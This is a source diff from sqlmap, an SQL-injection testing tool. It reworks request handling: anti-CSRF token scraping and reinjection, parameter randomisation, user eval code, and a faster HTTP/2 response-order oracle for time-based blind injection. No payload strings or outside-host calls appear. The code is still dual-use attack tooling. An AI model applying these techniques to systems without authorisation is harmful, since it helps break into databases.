postUrlEncode: + skip = False + + if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper(): + if kb.choices.cookieEncode is None: + msg = "do you want to URL encode cookie values (implementation specific)? %s" % ("[Y/n]" if not conf.url.endswith(".aspx") else "[y/N]") # Reference: https://support.microsoft.com/en-us/kb/313282 + kb.choices.cookieEncode = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N', boolean=True) + if not kb.choices.cookieEncode: + skip = True + + if not skip: + if place in (PLACE.POST, PLACE.CUSTOM_POST): # potential problems in other cases (e.g. URL encoding of whole URI - including path) + value = urlencode(value, spaceplus=kb.postSpaceToPlus) + payload = urlencode(payload, safe='%', spaceplus=kb.postSpaceToPlus) + value = agent.replacePayload(value, payload) + postUrlEncode = False if conf.hpp: - if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_API.ASP, WEB_API.ASPX)): + if (extractRegexResult(r"\.(?P<result>\w+)(?:\?|\Z)", conf.url) or "").lower() not in (WEB_PLATFORM.ASP, WEB_PLATFORM.ASPX): warnMsg = "HTTP parameter pollution should work only against " warnMsg += "ASP(.NET) targets" singleTimeWarnMessage(warnMsg) if place in (PLACE.GET, PLACE.POST): _ = re.escape(PAYLOAD_DELIMITER) - match = re.search("(?P<name>\w+)=%s(?P<value>.+?)%s" % (_, _), value) + match = re.search(r"(?P<name>\w+)=%s(?P<value>.+?)%s" % (_, _), value) if match: payload = match.group("value") @@ -804,12 +1286,16 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent if PLACE.GET in conf.parameters: get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value + elif place == PLACE.GET: # Note: for (e.g.) checkWaf() when there are no GET parameters + get = value if PLACE.POST in conf.parameters: post = conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value + elif place == PLACE.POST: + post = value if PLACE.CUSTOM_POST in conf.parameters: - post = conf.parameters[PLACE.CUSTOM_POST].replace(CUSTOM_INJECTION_MARK_CHAR, "") if place != PLACE.CUSTOM_POST or not value else value + post = conf.parameters[PLACE.CUSTOM_POST].replace(kb.customInjectionMark, "") if place != PLACE.CUSTOM_POST or not value else value post = post.replace(ASTERISK_MARKER, '*') if post else post if PLACE.COOKIE in conf.parameters: @@ -830,64 +1316,128 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent uri = conf.url if value and place == PLACE.CUSTOM_HEADER: - auxHeaders[value.split(',')[0]] = value.split(',', 1)[1] + if value.split(',')[0].capitalize() == PLACE.COOKIE: + cookie = value.split(',', 1)[-1] + else: + auxHeaders[value.split(',')[0]] = value.split(',', 1)[-1] if conf.csrfToken: + token = AttribDict() + def _adjustParameter(paramString, parameter, newValue): retVal = paramString - match = re.search("%s=(?P<value>[^&]*)" % re.escape(parameter), paramString) + + if urlencode(parameter) in paramString: + parameter = urlencode(parameter) + + # Note: anchor to a real parameter boundary (start or right after '&'/a quote) so that + # adjusting e.g. 'token' does not match inside a longer name like 'csrf_token'/'user_token' + # and rewrite the wrong parameter (which broke anti-CSRF token injection) + match = re.search(r"(?i)(?:\A|(?<=&))%s=[^&]*" % re.escape(parameter), paramString) if match: - retVal = re.sub("%s=[^&]*" % re.escape(parameter), "%s=%s" % (parameter, newValue), paramString) + retVal = "%s%s=%s%s" % (paramString[:match.start()], parameter, newValue, paramString[match.end():]) + else: + match = re.search(r"(?i)[\"']%s[\"']\s*:\s*[\"'](?P<value>[^\"']*)" % re.escape(parameter), paramString) + if match: + retVal = "%s%s%s" % (paramString[:match.start("value")], newValue, paramString[match.end("value"):]) + return retVal - page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) - match = re.search(r"<input[^>]+name=[\"']?%s[\"']?\s[^>]*value=(\"([^\"]+)|'([^']+)|([^ >]+))" % re.escape(conf.csrfToken), page or "") - token = (match.group(2) or match.group(3) or match.group(4)) if match else None + for attempt in xrange(conf.csrfRetries + 1): + if token: + break - if not token: - if conf.csrfUrl != conf.url and code == httplib.OK: - if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""): - token = page - - if not token and conf.cj and any(_.name == conf.csrfToken for _ in conf.cj): - for _ in conf.cj: - if _.name == conf.csrfToken: - token = _.value - if not any (conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))): - if post: - post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, conf.csrfToken, token) - elif get: - get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, conf.csrfToken, token) - else: - get = "%s=%s" % (conf.csrfToken, token) - break + if attempt > 0: + warnMsg = "unable to find anti-CSRF token '%s' at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url) + warnMsg += ". sqlmap is going to retry the request" + logger.warning(warnMsg) + + page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, post=conf.csrfData or (conf.data if conf.csrfUrl == conf.url and (conf.csrfMethod or "").upper() == HTTPMETHOD.POST else None), method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) + page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...') + + match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I) + + if not match: + match = re.search(r"(?i)<input[^>]+\bvalue=[\"']?(?P<value>[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P<name>%s)\b" % conf.csrfToken, page or "", re.I) + + if not match: + match = re.search(r"(?P<name>%s)[\"']:[\"'](?P<value>[^\"']+)" % conf.csrfToken, page or "", re.I) + + if not match: + match = re.search(r"\b(?P<name>%s)\s*[:=]\s*(?P<value>\w+)" % conf.csrfToken, getUnicode(headers), re.I) + + if not match: + match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I) + + if not match: + match = re.search(r"<meta\s+name=[\"']?(?P<name>%s)[\"']?[^>]+\b(value|content)=[\"']?(?P<value>[^>\"']+)" % conf.csrfToken, page or "", re.I) + + if match: + token.name, token.value = match.group("name"), match.group("value") + + match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token.value) + if match: + token.value = "".join(_unichr(int(_)) for _ in match.group(1).replace(' ', "").split(',')) if not token: - errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken, conf.csrfUrl or conf.url) - if not conf.csrfUrl: - errMsg += ". You can try to rerun by providing " - errMsg += "a valid value for option '--csrf-url'" - raise SqlmapTokenException, errMsg + if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == _http_client.OK: + if headers and PLAIN_TEXT_CONTENT_TYPE in headers.get(HTTP_HEADER.CONTENT_TYPE, ""): + token.name = conf.csrfToken + token.value = page + + if not token and conf.cj and any(re.search(conf.csrfToken, _.name, re.I) for _ in conf.cj): + for _ in conf.cj: + if re.search(conf.csrfToken, _.name, re.I): + token.name, token.value = _.name, _.value + if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))): + if post: + post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value) + elif get: + get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value) + else: + get = "%s=%s" % (token.name, token.value) + break + + if not token: + errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url) + if not conf.csrfUrl: + errMsg += ". You can try to rerun by providing " + errMsg += "a valid value for option '--csrf-url'" + raise SqlmapTokenException(errMsg) if token: - for place in (PLACE.GET, PLACE.POST): - if place in conf.parameters: - if place == PLACE.GET and get: - get = _adjustParameter(get, conf.csrfToken, token) - elif place == PLACE.POST and post: - post = _adjustParameter(post, conf.csrfToken, token) + token.value = token.value.strip("'\"") + + for candidate in (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST, PLACE.URI): + if candidate in conf.parameters: + if candidate == PLACE.URI and uri: + uri = _adjustParameter(uri, token.name, token.value) + elif candidate == PLACE.GET and get: + get = _adjustParameter(get, token.name, token.value) + elif candidate in (PLACE.POST, PLACE.CUSTOM_POST) and post: + post = _adjustParameter(post, token.name, token.value) for i in xrange(len(conf.httpHeaders)): - if conf.httpHeaders[i][0].lower() == conf.csrfToken.lower(): - conf.httpHeaders[i] = (conf.httpHeaders[i][0], token) + if conf.httpHeaders[i][0].lower() == token.name.lower(): + conf.httpHeaders[i] = (conf.httpHeaders[i][0], token.value) if conf.rParam: def _randomizeParameter(paramString, randomParameter): retVal = paramString - match = re.search(r"(\A|\b)%s=(?P<value>[^&;]+)" % re.escape(randomParameter), paramString) + # Note: anchor to a real parameter boundary (start, or the '&'/';' delimiter with any + # following space), like _adjustParameter, so randomizing 'id' does not match inside a + # longer name such as 'user-id'/'session-id'; the captured prefix is kept on replace + match = re.search(r"(?:\A|[&;]\s*)%s=(?P<value>[^&;]*)" % re.escape(randomParameter), paramString) if match: origValue = match.group("value") - retVal = re.sub(r"(\A|\b)%s=[^&;]+" % re.escape(randomParameter), "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString) + newValue = randomizeParameterValue(origValue) if randomParameter not in kb.randomPool else random.sample(kb.randomPool[randomParameter], 1)[0] + retVal = re.sub(r"(\A|[&;]\s*)%s=[^&;]*" % re.escape(randomParameter), lambda m: "%s%s=%s" % (m.group(1), randomParameter, newValue), paramString) + else: + match = re.search(r"(\A|\b)(%s\b[^\w]+)(?P<value>\w+)" % re.escape(randomParameter), paramString) + if match: + origValue = match.group("value") + newValue = randomizeParameterValue(origValue) if randomParameter not in kb.randomPool else random.sample(kb.randomPool[randomParameter], 1)[0] + retVal = paramString.replace(match.group(0), "%s%s" % (match.group(2), newValue)) return retVal for randomParameter in conf.rParam: @@ -904,94 +1454,166 @@ def _randomizeParameter(paramString, randomParameter): if conf.evalCode: delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER - variables = {"uri": uri, "lastPage": threadData.lastPage, "_locals": locals()} + variables = {"uri": uri, "lastPage": threadData.lastPage, "_locals": locals(), "cookie": cookie} originals = {} - keywords = keyword.kwlist if not get and PLACE.URI in conf.parameters: - query = urlparse.urlsplit(uri).query or "" + query = _urllib.parse.urlsplit(uri).query or "" else: query = None - for item in filter(None, (get, post if not kb.postHint else None, query)): + for item in filterNone((get, post if not kb.postHint else None, query)): for part in item.split(delimiter): if '=' in part: name, value = part.split('=', 1) - name = re.sub(r"[^\w]", "", name.strip()) - if name in keywords: - name = "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX) - value = urldecode(value, convall=True, plusspace=(item==post and kb.postSpaceToPlus)) + name = name.strip() + if safeVariableNaming(name) != name: + conf.evalCode = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), conf.evalCode) + name = safeVariableNaming(name) + value = urldecode(value, convall=True, spaceplus=(item == post and kb.postSpaceToPlus)) variables[name] = value + if post and kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE, POST_HINT.GRPC_WEB): + json_ = parseJson(post) + for name, value in (json_ if isinstance(json_, dict) else {}).items(): + if safeVariableNaming(name) != name: + conf.evalCode = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), conf.evalCode) + name = safeVariableNaming(name) + variables[name] = value + if cookie: for part in cookie.split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER): if '=' in part: name, value = part.split('=', 1) - name = re.sub(r"[^\w]", "", name.strip()) - if name in keywords: - name = "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX) + name = name.strip() + if safeVariableNaming(name) != name: + conf.evalCode = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), conf.evalCode) + name = safeVariableNaming(name) value = urldecode(value, convall=True) variables[name] = value while True: try: - compiler.parse(conf.evalCode.replace(';', '\n')) - except SyntaxError, ex: - original = replacement = ex.text.strip() - for _ in re.findall(r"[A-Za-z_]+", original)[::-1]: - if _ in keywords: - replacement = replacement.replace(_, "%s%s" % (_, EVALCODE_KEYWORD_SUFFIX)) + compile(getBytes(re.sub(r"\s*;\s*", "\n", conf.evalCode)), "", "exec") + except SyntaxError as ex: + if ex.text: + original = replacement = getUnicode(ex.text.strip()) + + if '=' in original: + name, value = original.split('=', 1) + name = name.strip() + if safeVariableNaming(name) != name: + replacement = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), replacement) + else: + for _ in re.findall(r"[A-Za-z_]+", original)[::-1]: + if safeVariableNaming(_) != _: + replacement = replacement.replace(_, safeVariableNaming(_)) + break + + if original == replacement: + conf.evalCode = conf.evalCode.replace(EVALCODE_ENCODED_PREFIX, "") break - if original == replacement: - conf.evalCode = conf.evalCode.replace(EVALCODE_KEYWORD_SUFFIX, "") - break + else: + conf.evalCode = conf.evalCode.replace(getUnicode(ex.text.strip(), UNICODE_ENCODING), replacement) else: - conf.evalCode = conf.evalCode.replace(ex.text.strip(), replacement) + break else: break originals.update(variables) evaluateCode(conf.evalCode, variables) - for variable in variables.keys(): - if variable.endswith(EVALCODE_KEYWORD_SUFFIX): - value = variables[variable] + for variable in list(variables.keys()): + if unsafeVariableNaming(variable) != variable: + entry = variables[variable] del variables[variable] - variables[variable.replace(EVALCODE_KEYWORD_SUFFIX, "")] = value + variables[unsafeVariableNaming(variable)] = entry uri = variables["uri"] + cookie = variables["cookie"] - for name, value in variables.items(): - if name != "__builtins__" and originals.get(name, "") != value: - if isinstance(value, (basestring, int)): + for name, entry in variables.items(): + if name != "__builtins__" and originals.get(name, "") != entry: + if isinstance(entry, (int, float, six.string_types, six.binary_type)): found = False - value = unicode(value) + entry = getUnicode(entry, UNICODE_ENCODING) + + if kb.postHint == POST_HINT.MULTIPART: + boundary = "--%s" % re.search(r"boundary=([^\s]+)", contentType).group(1) + if boundary: + parts = post.split(boundary) + match = re.search(r'\bname="%s"' % re.escape(name), post) + if not match and parts: + parts.insert(2, parts[1]) + parts[2] = re.sub(r'\bname="[^"]+".*', 'name="%s"' % re.escape(name), parts[2]) + for i in xrange(len(parts)): + part = parts[i] + if re.search(r'\bname="%s"' % re.escape(name), part): + match = re.search(r"(?s)\A.+?\r?\n\r?\n", part) + if match: + found = True + first = match.group(0) + second = part[len(first):] + second = re.sub(r"(?s).+?(\r?\n?\-*\Z)", r"%s\g<1>" % re.escape(entry), second) + parts[i] = "%s%s" % (first, second) + post = boundary.join(parts) + + elif kb.postHint and re.search(r"\b%s\b" % re.escape(name), post or ""): + if kb.postHint in (POST_HINT.XML, POST_HINT.SOAP): + if re.search(r"<%s\b" % re.escape(name), post): + found = True + post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(</%s)" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), post) + elif re.search(r"\b%s>" % re.escape(name), post): + found = True + post = re.sub(r"(?s)(\b%s>)(.*?)(</[^<]*\b%s>)" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), post) + + elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE, POST_HINT.GRPC_WEB): + match = re.search(r"['\"]%s['\"]:" % re.escape(name), post) + if match: + quote = match.group(0)[0] + post = post.replace("\\%s" % quote, BOUNDARY_BACKSLASH_MARKER) + match = re.search(r"(%s%s%s:\s*)(\d+|%s[^%s]*%s)" % (quote, re.escape(name), quote, quote, quote, quote), post) + if match: + found = True + post = post.replace(match.group(0), "%s%s" % (match.group(1), entry if entry.isdigit() else "%s%s%s" % (match.group(0)[0], entry, match.group(0)[0]))) + post = post.replace(BOUNDARY_BACKSLASH_MARKER, "\\%s" % quote) + + regex = r"\b(%s)\b([^\w]+)(\w+)" % re.escape(name) + if not found and re.search(regex, (post or "")): + found = True + post = re.sub(regex, r"\g<1>\g<2>%s" % entry.replace('\\', r'\\'), post) regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter)) - if re.search(regex, (get or "")): + if not found and re.search(regex, (post or "")): found = True - get = re.sub(regex, "\g<1>%s\g<3>" % value, get) + post = re.sub(regex, r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), post) - if re.search(regex, (post or "")): + if re.search(regex, (get or "")): found = True - post = re.sub(regex, "\g<1>%s\g<3>" % value, post) + get = re.sub(regex, r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), get) if re.search(regex, (query or "")): found = True - uri = re.sub(regex.replace(r"\A", r"\?"), "\g<1>%s\g<3>" % value, uri) + uri = re.sub(regex.replace(r"\A", r"\?"), r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), uri) - regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), name, re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)) + regex = r"((\A|%s\s*)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)) if re.search(regex, (cookie or "")): found = True - cookie = re.sub(regex, "\g<1>%s\g<3>" % value, cookie) + cookie = re.sub(regex, r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), cookie) if not found: if post is not None: - post += "%s%s=%s" % (delimiter, name, value) + if kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE, POST_HINT.GRPC_WEB): + match = re.search(r"['\"]", post) + if match: + quote = match.group(0) + post = re.sub(r"\}\Z", "%s%s}" % (',' if re.search(r"\w", post) else "", "%s%s%s:%s" % (quote, name, quote, entry if entry.isdigit() else "%s%s%s" % (quote, entry, quote))), post) + else: + post += "%s%s=%s" % (delimiter, name, entry) elif get is not None: - get += "%s%s=%s" % (delimiter, name, value) + get += "%s%s=%s" % (delimiter, name, entry) elif cookie is not None: - cookie += "%s%s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, name, value) + cookie += "%s%s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, name, entry) if not conf.skipUrlEncode: get = urlencode(get, limit=True) @@ -999,40 +1621,70 @@ def _randomizeParameter(paramString, randomParameter): if post is not None: if place not in (PLACE.POST, PLACE.CUSTOM_POST) and hasattr(post, UNENCODED_ORIGINAL_VALUE): post = getattr(post, UNENCODED_ORIGINAL_VALUE) - elif kb.postUrlEncode: + elif postUrlEncode: post = urlencode(post, spaceplus=kb.postSpaceToPlus) - if timeBasedCompare: - if len(kb.responseTimes) < MIN_TIME_RESPONSES: + # When the timeless oracle is engaged (by action() at the start of extraction, so the heavy vector + # is in place before any payload is built), a boolean comparison is answered by relative HTTP/2 + # response order instead of wall-clock timing - orders of magnitude faster and jitter-immune, and + # it skips the time-based statistical warm-up entirely. The comparison request is assembled exactly + # as it would be sent (buildOnly) and the bit is read from a coalesced pair. Not engaged -> timing. + if timeBasedCompare and kb.get("timeless") is not None: + from lib.request.timeless import CONNECTIVITY_ERRORS + from lib.request.timeless import negatePayload + # Build the condition and negation requests through the SAME path (queryPage buildOnly on the + # raw pre-placement value) so the pair differs ONLY by the negated comparison - building cond + # from the already-placed uri/get/post while neg goes through fresh placement would make them + # non-corresponding and flip the order. + negValue = negatePayload(timelessOrigValue) + condSpec = Connect.queryPage(timelessOrigValue, place=place, buildOnly=True) + negSpec = Connect.queryPage(negValue, place=place, buildOnly=True) if negValue is not None else None + try: + return kb.timeless.readBitFromSpecs(condSpec, negSpec) + except CONNECTIVITY_ERRORS as ex: + # The oracle's own per-pair retries (see _pairOrder) are exhausted - the target has stopped + # negotiating HTTP/2 altogether (e.g. a load-balanced backend that only some nodes speak it + # on), not just dropped one connection. Disengage (restores the classic time-based vector) + # and fall through below to the normal wall-clock comparison instead of crashing the scan. + from lib.request.timeless import disengage + warnMsg = "HTTP/2 timeless timing lost connectivity ('%s'). Falling back to classic time-based" % getSafeExString(ex) + singleTimeWarnMessage(warnMsg) + disengage() + + if timeBasedCompare and not conf.disableStats: + if len(kb.responseTimes.get(kb.responseTimeMode, [])) < MIN_TIME_RESPONSES: clearConsoleLine() + kb.responseTimes.setdefault(kb.responseTimeMode, []) + if conf.tor: warnMsg = "it's highly recommended to avoid usage of switch '--tor' for " - warnMsg += "time-based injections because of its high latency time" + warnMsg += "time-based injections because of inherent high latency time" singleTimeWarnMessage(warnMsg) - warnMsg = "[%s] [WARNING] time-based comparison requires " % time.strftime("%X") - warnMsg += "larger statistical model, please wait" + warnMsg = "[%s] [WARNING] %stime-based comparison requires " % (time.strftime("%X"), "(case) " if kb.responseTimeMode else "") + warnMsg += "%s statistical model, please wait" % ("larger" if len(kb.responseTimes) == 1 else "reset of") dataToStdout(warnMsg) - while len(kb.responseTimes) < MIN_TIME_RESPONSES: - Connect.queryPage(content=True) + while len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES: + _ = kb.responseTimePayload.replace(RANDOM_INTEGER_MARKER, str(randomInt(6))).replace(RANDOM_STRING_MARKER, randomStr()) if kb.responseTimePayload else kb.responseTimePayload + Connect.queryPage(value=_, content=True, raise404=False) dataToStdout('.') - dataToStdout("\n") + dataToStdout(" (done)\n") elif not kb.testMode: - warnMsg = "it is very important not to stress the network adapter " + warnMsg = "it is very important to not stress the network connection " warnMsg += "during usage of time-based payloads to prevent potential " - warnMsg += "errors " + warnMsg += "disruptions " singleTimeWarnMessage(warnMsg) if not kb.laggingChecked: kb.laggingChecked = True - deviation = stdev(kb.responseTimes) + deviation = stdev(kb.responseTimes[kb.responseTimeMode]) - if deviation > WARN_TIME_STDEV: + if deviation is not None and deviation > WARN_TIME_STDEV: kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE warnMsg = "considerable lagging has been detected " @@ -1041,7 +1693,7 @@ def _randomizeParameter(paramString, randomParameter): warnMsg += "10 or more)" logger.critical(warnMsg) - if conf.safeFreq > 0: + if (conf.safeFreq or 0) > 0: kb.queryCounter += 1 if kb.queryCounter % conf.safeFreq == 0: if conf.safeUrl: @@ -1066,14 +1718,23 @@ def _randomizeParameter(paramString, randomParameter): _, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ)) if headers: - if kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and headers.get(HTTP_HEADER.CONTENT_LENGTH): - pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH]) - elif kb.nullConnection == NULLCONNECTION.RANGE and headers.get(HTTP_HEADER.CONTENT_RANGE): - pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:]) + try: + if kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and headers.get(HTTP_HEADER.CONTENT_LENGTH): + pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0]) + elif kb.nullConnection == NULLCONNECTION.RANGE and headers.get(HTTP_HEADER.CONTENT_RANGE): + pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:]) + except ValueError: + pass finally: kb.pageCompress = popValue() - if not pageLength: + # Timeless-timing oracle: after all placement/tampering, hand back the fully-assembled request + # (url, method, headers, post) instead of sending it, so two payloads can be coalesced into one + # multiplexed HTTP/2 pair (lib/request/timeless.py). + if buildOnly: + return Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=True, auxHeaders=auxHeaders, buildOnly=True) + + if pageLength is None: try: page, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) except MemoryError: @@ -1081,16 +1742,26 @@ def _randomizeParameter(paramString, randomParameter): warnMsg = "site returned insanely large response" if kb.testMode: warnMsg += " in testing phase. This is a common " - warnMsg += "behavior in custom WAF/IDS/IPS solutions" + warnMsg += "behavior in custom WAF/IPS solutions" singleTimeWarnMessage(warnMsg) - if conf.secondOrder: - page, headers, code = Connect.getPage(url=conf.secondOrder, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) + if not ignoreSecondOrder: + if conf.secondUrl: + page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) + elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in _urllib.parse.unquote(value or ""): + def _(value): + if kb.customInjectionMark in (value or ""): + if payload is None: + value = value.replace(kb.customInjectionMark, "") + else: + value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), lambda _: payload, value) # Note: function replacement inserts payload literally - avoids re.sub interpreting backslashes / group refs (e.g. \1, \g<...>) in the payload + return value + page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) threadData.lastQueryDuration = calculateDeltaSeconds(start) - threadData.lastPage = page - kb.originalCode = kb.originalCode or code + kb.originalCode = code if kb.originalCode is None else kb.originalCode + kb.originalPage = page if kb.originalPage is None else kb.originalPage if kb.testMode: kb.testQueryCount += 1 @@ -1098,21 +1769,30 @@ def _randomizeParameter(paramString, randomParameter): if timeBasedCompare: return wasLastResponseDelayed() elif noteResponseTime: - kb.responseTimes.append(threadData.lastQueryDuration) + kb.responseTimes.setdefault(kb.responseTimeMode, []) + kb.responseTimes[kb.responseTimeMode].append(threadData.lastQueryDuration) + if len(kb.responseTimes[kb.responseTimeMode]) > MAX_TIME_RESPONSES: + kb.responseTimes[kb.responseTimeMode] = kb.responseTimes[kb.responseTimeMode][-MAX_TIME_RESPONSES // 2:] if not response and removeReflection: page = removeReflectiveValues(page, payload) kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "", re.I) is not None - kb.permissionFlag = re.search(PERMISSION_DENIED_REGEX, page or "", re.I) is not None + + message = extractRegexResult(PERMISSION_DENIED_REGEX, page or "", re.I) + if message: + kb.permissionFlag = True + singleTimeWarnMessage("potential permission problems detected ('%s')" % message) + + headers = patchHeaders(headers) if content or response: - return page, headers + return page, headers, code if getRatioValue: return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength) else: return comparison(page, headers, code, getRatioValue, pageLength) -def setHTTPProxy(): # Cross-linked function +def setHTTPHandlers(): # Cross-referenced function raise NotImplementedError diff --git a/lib/request/direct.py b/lib/request/direct.py index 937d6c5a45b..52f410e9080 100644 --- a/lib/request/direct.py +++ b/lib/request/direct.py @@ -1,22 +1,23 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import binascii +import re import time -from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import extractExpectedValue from lib.core.common import getCurrentThreadData -from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import isListLike +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -24,9 +25,25 @@ from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import DBMS from lib.core.enums import EXPECTED +from lib.core.enums import TIMEOUT_STATE from lib.core.settings import UNICODE_ENCODING +from lib.utils.safe2bin import safecharencode from lib.utils.timeout import timeout +def _hexifyBinary(value): + """ + Renders a raw binary cell returned by a driver in -d mode as uppercase hex, instead of letting it reach + the text channel as a str() like '<memory at 0x...>' (PostgreSQL bytea -> psycopg2 memoryview) or a + control-character blob that gets blanked/corrupted (e.g. MSSQL varbinary -> bytes). Text columns come back + as native strings, so only genuine binary values are converted (matches HEX()-based rendering elsewhere). + """ + + if isinstance(value, memoryview): + value = value.tobytes() + if isinstance(value, (bytes, bytearray)): + return getUnicode(binascii.hexlify(value)).upper() + return value + def direct(query, content=True): select = True query = agent.payloadDirect(query) @@ -42,22 +59,43 @@ def direct(query, content=True): select = False break - if select and not query.upper().startswith("SELECT "): - query = "SELECT %s" % query + if select: + # only auto-wrap a bare scalar expression (e.g. 'CURRENT_USER', '48*60') in SELECT; a user-supplied + # complete row-returning statement (--sql-query 'PRAGMA ...' / 'WITH ...' / 'EXPLAIN ...') must be left + # intact, otherwise 'SELECT PRAGMA ...' is a syntax error and silently returns nothing + if 